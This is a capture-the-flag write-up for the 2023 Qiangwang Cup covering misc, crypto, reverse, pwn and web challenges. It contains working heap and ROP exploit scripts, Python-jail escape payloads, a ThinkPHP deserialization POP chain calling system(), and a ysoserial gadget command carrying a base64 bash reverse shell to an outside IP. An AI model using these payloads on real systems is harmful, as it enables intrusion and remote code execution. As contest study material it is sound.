2023强网杯S7 WRITEUP By 你说把爱渐渐放下会走更远

你说把爱渐渐放下会走更远,或许命运的签只让我们遇见~
——《不能说的秘密》

MISC

Wabby Wabbo Radio

f12控制台,发现wav的路由,xh1-5 wav左声道是长短音,右边是戴夫,左右音频都是莫斯,解密出来是一段话IF YOU DON'T KNOW HOW TO DO IT,YOU CAN GO AHEAD AND DO SOMETHING ELSE FIRST

这个地方随手猜了一下,发现有flag.wav,还有hint1和hint2 wav,莫斯解出来两个提示:

HINT1:DO YOU KNOW QAM?

HINT2:MAYBE FLAG IS PNG PICTURE

查看一下这个flag.wav

https://www.zhihu.com/question/278998195

https://ctftime.org/writeup/21167

其实无论是什么QAM,都是要以4bit位进行的

然后我们看一下星座图

由于QAM是对振幅进行调制,所以我们可以从振幅入手进行解调:

我以为是要做星座图,结果不是,卡住了,后来感觉要按照文章里写的爆一下对应方式,结果转换成0123

import scipy.io.wavfile as wav
from Crypto.Util.number import long_to_bytes

def to_int(x):
    """
    将浮点数转换为最接近的整数。
    """
    if x > 0:
        return int(x + 0.5)
    else:
        return int(x - 0.5)

def process(raw_data):
    """
    处理音频数据,将每个采样点的声道值进行转换。
    """
    data = []
    for i in raw_data:
         # 将每个声道的值进行处理并添加到新的数据列表中
        data.append((to_int(i[0]) * 2 + 6) // 4)
        data.append((to_int(i[1]) * 2 + 6) // 4)
    return data

def convert(data):
    """
    将处理过的音频数据转换为字节对象。
    """
    n = 0
    for i in data:
        # 将处理过的数据拼接成一个整数
        n <<= 2
        n += i
    return long_to_bytes(n)

def main():
    _, raw = wav.read('flag.wav')
    print("Raw Audio Data:", raw)
    # 处理音频数据
    data = process(raw)
    print("Processed Data:",data)
    # 将处理过的音频数据转换为字节对象
    byte = convert(data)
    print("Converted Byte Data:",byte)

if __name__ == "__main__":
    main()

然后输出到图片就好了

easyfuzz

九位保证前两个是1,然后前两位是什么都可以,第三位是q,第四位是w,第五位就能直接盲猜出b了,挨着爆破后四位就好

from pwn import *

context.log_level = 'debug'
p = remote('101.200.122.251', 12177)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
'''
for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwb'+chr(i)+'aaa')
     ru('Here is your code coverage: ')
     if(b'111111000' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()

for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwbG'+chr(i)+'aa')
     ru('Here is your code coverage: ')
     if(b'111111100' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()

for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwbGo'+chr(i)+'a')
     ru('Here is your code coverage: ')
     if(b'111111110' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()
'''
for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwbGoo'+chr(i))
     ru('Here is your code coverage: ')
     if(b'111111111' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()

谍影重重3.0

搜索纸飞机 vpn

弹出了shadowsocks,看一下:

应该就是这个了

https://www.ichenxiaoyu.com/ss/

https://wonderkun.cc/2020/02/18/shadowsocks%E7%9A%84%E9%80%9A%E4%BF%A1%E5%8E%9F%E7%90%86%E4%BB%A5%E5%8F%8A%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95%E5%88%86%E6%9E%90/

通过这个函数,知道发送的数据前 decipher_iv_len​ 是加密所用的初始iv的长度,我这里用的加密算法是 aes-256-cfb​,跟一下代码知道这里 decipher_iv_len​ 是16。

可以先用tshark提取出所有的data,然后解密,但是不知道密钥,所以需要爆破了:

需要用到shadowsocks这个库

from shadowsocks import cryptor

def decrypt_data(hex_string, password):
    """
    解密给定的十六进制字符串,使用提供的密码进行解密
    """
    data = bytes.fromhex(hex_string)
    enc = cryptor.Cryptor(password, 'aes-256-cfb')
    decrypted_data = enc.decrypt(data)
    return decrypted_data

def find_password(hex_string, password_file_path):
    """
    在给定密码文件中查找正确的密码,并解密十六进制字符串,检查是否包含字节序列 b'HTTP'
    """
    with open(password_file_path, 'rb') as file:
        # 逐行读取密码列表
        passwords = map(str.strip, map(bytes.decode, file.readlines()))

    for password in passwords:
        decrypted_data = decrypt_data(hex_string, password)

        # 检查解密后的数据中是否包含字节序列 b'HTTP'
        if b'HTTP' in decrypted_data:
            # 如果包含,则打印密码和解密后的数据
            print("Found Password:", password)
            print("Decrypted Data:", decrypted_data.decode())
            # 可以选择在找到密码后终止循环
            break

if __name__ == "__main__":
    # 替换为实际的十六进制字符串和密码文件路径
    hex_string_to_decrypt = ""
    password_file_path = "300mima.txt"

    find_password(hex_string_to_decrypt, password_file_path)

因为不知道到底哪个数据包传输的内容是 http 协议,所以需要多试几次,直到解密成功一个为止。 一旦解密成功,就可以知道一段密文分组经过key加密之后的值,就可以反解出key,进而破解所有数据包。

结果第四个就是HTTP,密钥:superman,

GET /Why-do-you-want-to-know-what-this-is HTTP/1.1
Host: 192.168.159.131
User-Agent: curl/8.4.0
Accept: */*
Connection: close

Why-do-you-want-to-know-what-this-is​md5一下就是flag

谍影重重2.0

https://mode-s.org/decode/content/ads-b/1-basics.html

按照所说,是从hex编码8D之后进行截取,发现length==67的数据包才有8D,筛选导出每个tcp对应数据然后解密:

import pyModeS as pms #单个进行提取,反正也不多,可以手撕
pms.tell("")

(其中之一运行结果)

找到之后,ICAO address要大写计算md5才可以,卡了这个地方好久

Happy Chess

非预期,随便走九次然后exit就success可以直接进入下一关

Pyjail ! It's myFILTER !!!

这道题目环境变量里有非预期,后面也上了 revenge,这里这道题目可以直接通过读环境变量看到 flag

input_code = eval(f"f'{input_code}'")

需要我们利用的就是这里的这个 eval 中的 format,我们的 input 会替换掉这里的 {input_code}

源码中给出了一系列的黑名单,方法禁用等等,同时在最后还写了一个必须要存在 {} 的逻辑,且长度不能小于65

open、read、print 都没被禁用,这里我们可以利用这里的拼接,前后闭合一下直接读,不过这里需要注意前后拼接的时候类型要一直,套个str

{1}'+str(print(open("/proc/self/environ").read()))+'

Pyjail ! It's myRevenge !!!

修了环境变量,但是上面的读文件没有修改,不过留下了一个 start.sh 让人死心:

#!/bin/sh
# Add your startup script

# # CMD sed -i "s/FLAG/$ICQ_FLAG/" /home/ctf/flag* && unset ICQ_FLAG && rm -rf /etc/profile.d/pouchenv.sh && rm -rf /etc/instanceInfo && socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server.py",pty,stderr,setsid,sane,raw,echo=0

# FLAG_PATH=/flag
FLAG_PATH=/home/ctf/flag_`hexdump -n 32 -v -e '/1 "%02X"' /dev/urandom`
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
        "M_ECHO")
            echo -n ${ICQ_FLAG} > ${FLAG_PATH}
            FILE_MODE=755 # 注意这里的权限,flag的权限一定要注意,是所有用户可读,还是只有root可读
            chmod ${FILE_MODE} ${FLAG_PATH}
            ;;
        "M_SED")
            #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            ;;
        "M_SQL")
            # sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            # mysql -uroot -proot < ${FLAG_PATH}
            ;;
        *)
            ;;
    esac
    echo [+] ICQ_FLAG OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

#del eci env
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo

#clear fd
rm -rf /start.sh /root/start.sh

socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server_8F6C72124774022B.py",pty,stderr,setsid,sane,raw,echo=0 &
exec tail -f /dev/null

可以看到 FLAGPATH=/home/ctf/flaghexdump -n 32 -v -e '/1 "%02X"' /dev/urandom​,这样就必须要rce了

延续上面题目的思路,这里是先发现了可以写文件,但是当前文件占用了,而且存在黑名单和长度限制不好利用。

这里只禁用了一些基类,list globals 等能够用来取类的函数方法并没有禁用,简单查看一下可以发现我们的黑名单参数是存在 global 里的,同时想到了 clear 函数没有禁用,中括号也没有禁用,我们可以直接把黑名单取出来 clear 掉

但是就算取出来了我们的长度也是不能完成后续操作的,又卡住了一段时间

突然看到这里是个 while 循环,那么我们的内容实际上是会执行多次的,如果还能够执行的话,这里题目中给出的格式化字符串利用给了提示,这样就可以通过 input 在清空之后再进行后续利用了,

然后就想到了一开始的写文件,

这里能写敏感文件了之后的应用就比较常规了,我们可以在当前目录下写一个程序 import 的库文件,这样程序会优先import 我们写的文件

直接写一个文件肯定是不行的 长度不够,还是要分多次写然后用read读出来一次写进去如下:

{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','w').write('import os'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write(';print(os'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('.popen(\''))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('cat f*>f'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('\')'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('.read())'))+'{1}
{1}'+str(print(open("1").read()))+'

构造好了如上 payload ,将这个 payload 往一个程序可以 import 的文件中写即可,

{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('pty.py','w').write(open('1').read()))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(print(open("pty.py").read()))+'{1}

'+str(print(open("f").read()))+'{1}

此时已经完成 import pty中我们的恶意代码, cat 完 flag 了,直接去读我们写出来的 f 即可

REVERSE

ezre

sm4加密

看到ok字符串,向上查找调用函数

通过此特征判断为sm4加密,

v14是密文,v15是key,在线网站解密

CRYPTO

not only rsa

遇事不决分解n

p=91027438112295439314606669837102361953591324472804851543344131406676387779969

得到p**5

phin也就很简单了

gcd一看有公因子有限域开根即可

得到flag

from Crypto.Util.number import *
from gmpy2 import gcd
n = 6249734963373034215610144758924910630356277447014258270888329547267471837899275103421406467763122499270790512099702898939814547982931674247240623063334781529511973585977522269522704997379194673181703247780179146749499072297334876619475914747479522310651303344623434565831770309615574478274456549054332451773452773119453059618433160299319070430295124113199473337940505806777950838270849
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
p = 91027438112295439314606669837102361953591324472804851543344131406676387779969

phi =(p**5)-(p**4)
print(gcd(e,phi))

m = Zmod(p ** 5)(c).nth_root(e,all=True)

for i in m:
    flag = long_to_bytes(int(i))
    if b'flag{' in flag:
        flag= flag.decode()
        print(flag)

discrete_log

尝试直接用pohlig-hellman,发现p-1不光滑

采用中间相遇思想进行爆破

import itertools
from Crypto.Util.number import *

p = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299
g = 5
c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854
l = 12
flag_template = 'flag{' + '\x00' * l + '}'
flag_template1 = flag_template + (128 - len(flag_template)) * chr(128 - len(flag_template))
tmp = pow(g,bytes_to_long(flag_template1.encode()),p)
c_ = c * inverse(int(tmp),p) % p
c_ = pow(c_,inverse(256 ** (128 - len(flag_template)+1),(p - 1) // 2),p)

ssss = {}

gshift = pow(g,256 ** (l//2),p)
from tqdm import tqdm
table = "0123456798abcdef"
for each in tqdm(itertools.product(table,repeat=l//2)):
    preflag = ''.join(i for i in each)
    #print(preflag)
    pre = bytes_to_long(preflag.encode())
    cc = c_ * inverse(int(pow(gshift,pre,p)),p) % p
    ssss[cc] = preflag

for each in tqdm(itertools.product(table,repeat=l//2)):
    tailflag = ''.join(i for i in each)
    tail = bytes_to_long(tailflag.encode())
    cc = pow(g,tail,p)
    if cc in ssss:
        print(ssss[cc]+tailflag)
        exit()

PWN

chatting

import os
import sys
import time
from pwn import *
from ctypes import *

p = remote('101.200.122.251', 14509)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

#==================================================#

s       = lambda data               :p.send(data)
sa      = lambda text, data         :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text, data         :p.sendlineafter(text, data)
r       = lambda num                :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :p.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :p.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
itr     = lambda                    :p.interactive()

#==================================================#

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

def add(username):
        p.sendlineafter('listuser, exit): ','add')
        p.sendlineafter('Enter new username: ',username)

def delete(username):
        p.sendlineafter('listuser, exit): ','delete')
        p.sendlineafter('Enter username to delete: ',username)

def switch(username):
        p.sendlineafter('listuser, exit): ','switch')
        p.sendlineafter('Enter username to switch to: ',username)

def read():
        p.sendlineafter('listuser, exit): ','read')

def message(username, size, content):
        p.sendlineafter('listuser, exit): ','message')
        p.sendlineafter('To: ',str(username))
        p.sendlineafter('Message size: ',str(size))
        p.sendafter('Content: ',content)

def duan():
        gdb.attach(p)
        pause()

#================ leak the libc ===============#
#================ leak heap base ================#
sla('Enter new username: ', b'k')
message('k',0x460,'hello')
message('k',0x20,'hello')
message('k',0x20,'hello')
delete('k')
read()
#duan()
ru(b'k -> k: ')
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))-0x3ebca0
ru(b'k -> k: ')
ru(b'k -> k: ')
heap_base=u64(r(6).ljust(8, b'\x00'))-0x1a880
lg('libc_base')
lg('heap_base')

#================ prepare to set up the rop ===============#

free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system'] 
og=[0x4f2a5,0x4f302,0x10a2fc]

#==========================================================#
add('k')
add('aaaa')
add('bbbb')
add('cccc')
for i in range(7):
    message('k',0x20,'k')
delete('k')
for i in range(5):
        message('dead',0x20,'k')
switch('aaaa')
for i in range(5):
        message('aaaa',0x20,'k')
switch('bbbb')
for i in range(7):
    message('bbbb',0x20,'k')
delete('bbbb')
delete('aaaa')
message('dead',0x30,'k')
for i in range(7):
        message('cccc',0x20,'/bin/sh\x00')
message('cccc',0x20,p64(free_hook))
for i in range(2):
        message('cccc',0x20,'/bin/sh\x00')
message('cccc',0x20,p64(system))
delete('cccc')
#duan()
itr()

simpleinterpreter

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p=remote('101.200.122.251',13410)

#==================================================#

s       = lambda data               :p.send(data)
sa      = lambda text, data         :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text, data         :p.sendlineafter(text, data)
r       = lambda num                :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :p.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :p.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
itr     = lambda                    :p.interactive()

#==================================================#

#p=process("./simpleinterpreter")
ru("Code size:")

code="""
#include <stdio.h>
#include <stdlib.h>

int main() {
    int *a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8, *a9, *a10;
    int libc_base, free_hook, system, bin_sh;

    a3 = malloc(0x100);
    a4 = malloc(0x100);
    a5 = malloc(0x100);
    a6 = malloc(0x100);
    a7 = malloc(0x100);
    a8 = malloc(0x100);
    a9 = malloc(0x100);
    a10 = malloc(0x100);

    malloc(0x10);

    free(a3);
    free(a4);
    free(a5);
    free(a6);
    free(a7);
    free(a8);
    free(a9);
    free(a10);

    libc_base = *a10 - 0x3ebca0;
    printf("Libc Base: %p\n", libc_base);

    free_hook = libc_base + 0x3ed8e8;
    system = libc_base + 0x4f420;
    bin_sh = libc_base + 0x1b3d88;

    a1 = malloc(0x40);
    a2 = malloc(0x40);
    free(a1);
    free(a2);

    *a2 = free_hook;

    a1 = malloc(0x40);
    a2 = malloc(0x40);
    *a2 = system;

    free((void *)bin_sh);
    return 0;
}
"""

sl(str(len(code)))
ru("Please give me the code to interpret:")
sl(code)
itr()

warmup23

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = remote('120.24.69.11',12700)
elf = ELF('./warmup')
libc = ELF('./libc.so.6')

#==================================================#

s       = lambda data               :p.send(data)
sa      = lambda text, data         :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text, data         :p.sendlineafter(text, data)
r       = lambda num                :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :p.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :p.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
itr     = lambda                    :p.interactive()

#==================================================#

add_idx = 1
show_idx = 2
delete_idx = 3

def add(size, content):
    sla('>> ', b'1')
    sla('Size: ', str(size))
    sa('Note: ', content)

def show(idx):
    sla('>> ', b'2')
    sla('Index: ', str(idx))

def delete(idx):
    sla('>> ', b'3')
    sla('Index: ', str(idx))

def duan():
    gdb.attach(p)
    pause()

#==================================================#

add(0x6d48, b'aaaa')   
add(0x508, b'aaaa')  
add(0x68, b'aaaa')   
add(0x88, b'bbbb')  
add(0x88, b'bbbb')  
add(0x108, b'aaaa')   
add(0x108, b'aaaa')   
add(0x4f8, b'kkkk')   
add(0x18, b'aaaa')  
add(0x4f8, b'kkkk')  
add(0x18, b'aaaa')  
add(0x518, b'bbbb')   
add(0x18, b'aaaa')   
delete(9)
delete(11)
delete(1)
add(0x1000, b'aaaa')  
pl=flat(0, b'\xb1\x08\x00\x00\x00\x00')
add(0x508, pl)  
add(0x518, b'\x10')  
add(0x4f8, b'aaaa')  
delete(13)
delete(7)
pl=flat(0, b'\x10')
add(0x4f8, pl)   
add(0x4f8, b'aaaa')   
delete(6)
pl=b'\x00' * 0x100 + p64(0x8b0)
add(0x108, pl)   
delete(13)

#================ leak the libc ===============#

add(0x4f8, b'aaaa')   
show(2)
libc_base = uu64() - 0x219ce0
lg('libc_base')

#================ leak heap base ================#

add(0x18, b'aaaa')   
delete(14)
show(2)
ru('Note: ')
key = u64(r(5).ljust(8, b'\x00'))
lg('key')
heap_base = (key << 12) - 0x7000
lg('heap_base')

#================ prepare to set up the rop ===============#

IO_2_1_stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

rdi=libc_base + 0x000000000002a3e5
rsi=libc_base + 0x000000000002be51
rdx=libc_base + 0x00000000000796a2
rax=libc_base + 0x0000000000045eb0
#syscall = libc_base + libc.sym['syscall']
syscall = libc_base + 0x0000000000091316

#================ leak heap stack================#

delete(4)
delete(3)
pl = b'\x00' * 0x48 + p64(0x91) + p64(IO_2_1_stdout ^ key)
add(0x98, pl)
add(0x88, b'bbbb')  
pl = flat(0xfbad1800, 0 , 0 , 0 , environ, environ + 8)
add(0x88, pl)
stack = uu64()
lg('stack')

delete(6)
delete(5)
pl=b'\x00' * 0xc8 + p64(0x111) + p64((stack - 0x148) ^ key)
add(0x128, pl)
add(0x108, b'bbbb')

#================ prepare to set up the orw ===============#

flag_addr = stack - 0x148
target = heap_base + 0x100
pl = b'./flag\x00\x00'
pl += p64(rdi) + p64(flag_addr)
pl += p64(rsi) + p64(0)
pl += p64(rdx) + p64(0)
pl += p64(rax) + p64(2)
pl += p64(syscall)
pl += p64(rdi) + p64(3)
pl += p64(rsi) + p64(target)
pl += p64(rdx) + p64(0x50)
pl += p64(rax) + p64(0)
pl += p64(syscall)
pl += p64(rdi) + p64(1)
pl += p64(rsi) + p64(target)
pl += p64(rdx) + p64(0x50)
pl += p64(rax) + p64(1)
pl += p64(syscall)
add(0x108, pl)

itr()

WEB

thinkshop

先进入网站,发现是一个购买flag的页面,也没啥特别的地方,随便输一个域名,发现为thinkphp V5.0.23

然后去扫一下目录,找到了/application和/vendor,熟悉tp框架MVC的可以想到去/application里找相关的页面源码

拿到附件,docker运行一把,拷贝下目录做代审

先试了下v5.0.23的poc,发现没用

再试试v5.0.24的poc,参考下文:

https://atmujie.github.io/2021/10/03/%E9%80%9A%E8%BF%87revengephp%E7%90%86%E8%A7%A3thinkphp%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/#toc-heading-6

审计源码:在html\application\index\model\goods.php中找到了一个反序列化的参数

再根据得到的目录进去找到一个后台登录页面/public/index.php/index/admin/login.html

此处写的是通过匹配主键id 来进行匹配登陆的 所以 1 123456 进行登陆

可以修改,进去抓个包

每一个能修改的行和下面post传的参对应,找到update.php的更新部分

此处insert into KEY VALUES $value,原本在网页上改是修改value,而本题是要修改data,源码是data as key,所以把value注释掉,去修改data

先根据上面的文章把pop链构造好,给出poc:

<?php
//class Request 执行终点
namespace think;
class Request{
    protected $filter;
    protected $get = ['atmujie'=>'cat /fffflllaaaagggg'];
    public function __construct()
    {
        $this->filter = "system";
    }
}

//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
    protected $handler;
    protected $tag = "test";
    protected $options = ['prefix'=>'atmujie/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}

//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
    protected $handler;
    public function __construct()
    {
        $this->handler = new \think\cache\driver\Memcache();
    }
}

//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle;
    protected $styles = ['getAttr'];
    public function __construct()
    {
        $this->handle = new Memcache();
    }
}

// TODO 断点
//class Query 指向Output
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $query;
    public function __construct()
    {
        $this->query = new Query();
    }
}

//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
use think\db\exception\ModelNotFoundException;
abstract class OneToOne extends Relation {
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        parent::__construct();
        $this->query = new ModelNotFoundException();
        // $this->bindAttr = ["no","123"];
        $this->bindAttr = ["test"=>"test"];
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

    protected $model;
    public  function __construct()
    {
        $this->model=new Output();
    }
}

//class BelongsTo extends OneToOne
namespace think\model\relation;
class BelongsTo extends OneToOne{}

//abstract class Model 指向Output类__call()
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
    protected $error;
    protected $append = [];
    protected $parent;
    public function __construct()
    {
            $this->append =['getError'];
            $this->error = new BelongsTo();
            $this->parent = new Output();
    }
}

//class Pivot extends Model 继承Model,通过此类调用进Model
namespace think\model;
use think\Model;
class Pivot extends Model{}

//abstract class Pipes Windows继承类
namespace think\process\pipes;
abstract class Pipes{}

//class Windows extends Pipes 起点类 指向Pivot类
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\process\pipes;
$a = array(0=>new Windows());
echo base64_encode(serialize($a));
?>

生成注入参数,抓包注入,发现修改成功

比赛结束了,忘记截图了,用了自己docker起的

happygame

Nc 之后啥也看不出来,就返回仨问号,把返回的内容搞出来看一下十六进制,发现如下内容

扔到github上搜

发现是一个 grpc 的报错内容,

查看文档发现需要用 grpcurl 访问,然后用法上就看 help 结合 不断拷打 gpt,得到大概如下一些内容:

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 list
grpc.reflection.v1alpha.ServerReflection
helloworld.Greeter

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 describe helloworld.Greeter
helloworld.Greeter is a service:
service Greeter {
  rpc ProcessMsg ( .helloworld.Request ) returns ( .helloworld.Reply );
  rpc SayHello ( .helloworld.HelloRequest ) returns ( .helloworld.HelloReply );
}

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 describe helloworld.Greeter.ProcessMsg
helloworld.Greeter.ProcessMsg is a method:
rpc ProcessMsg ( .helloworld.Request ) returns ( .helloworld.Reply );

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 describe helloworld.Request
helloworld.Request is a message:
message Request {
  bytes serializeData = 1;
}

可以看到这里给出了一个 serializeData,实际上也就是参数内容,结合对之前 grpc 项目的简单翻阅,grpc 没有查看依赖库的功能,猜测这里就是盲打反序列化了,ysoserial 乱生成些链子打

最后CC6可以RCE

root@sp4c1ous:/mnt/d/tools/Web tools/ysoserial-master# java -jar ./ysoserial.jar CommonsCollections6 "bash -c {echo,YmFz
aCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRv
cmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznB
H9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4
cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSC
nnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5z
Zm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFp
bmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUv
Y29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9u
cy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hl
LmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGU
AgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBz
cgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv
cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5h
bWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNz
O3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1
cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsA
AAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAA
AnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAA
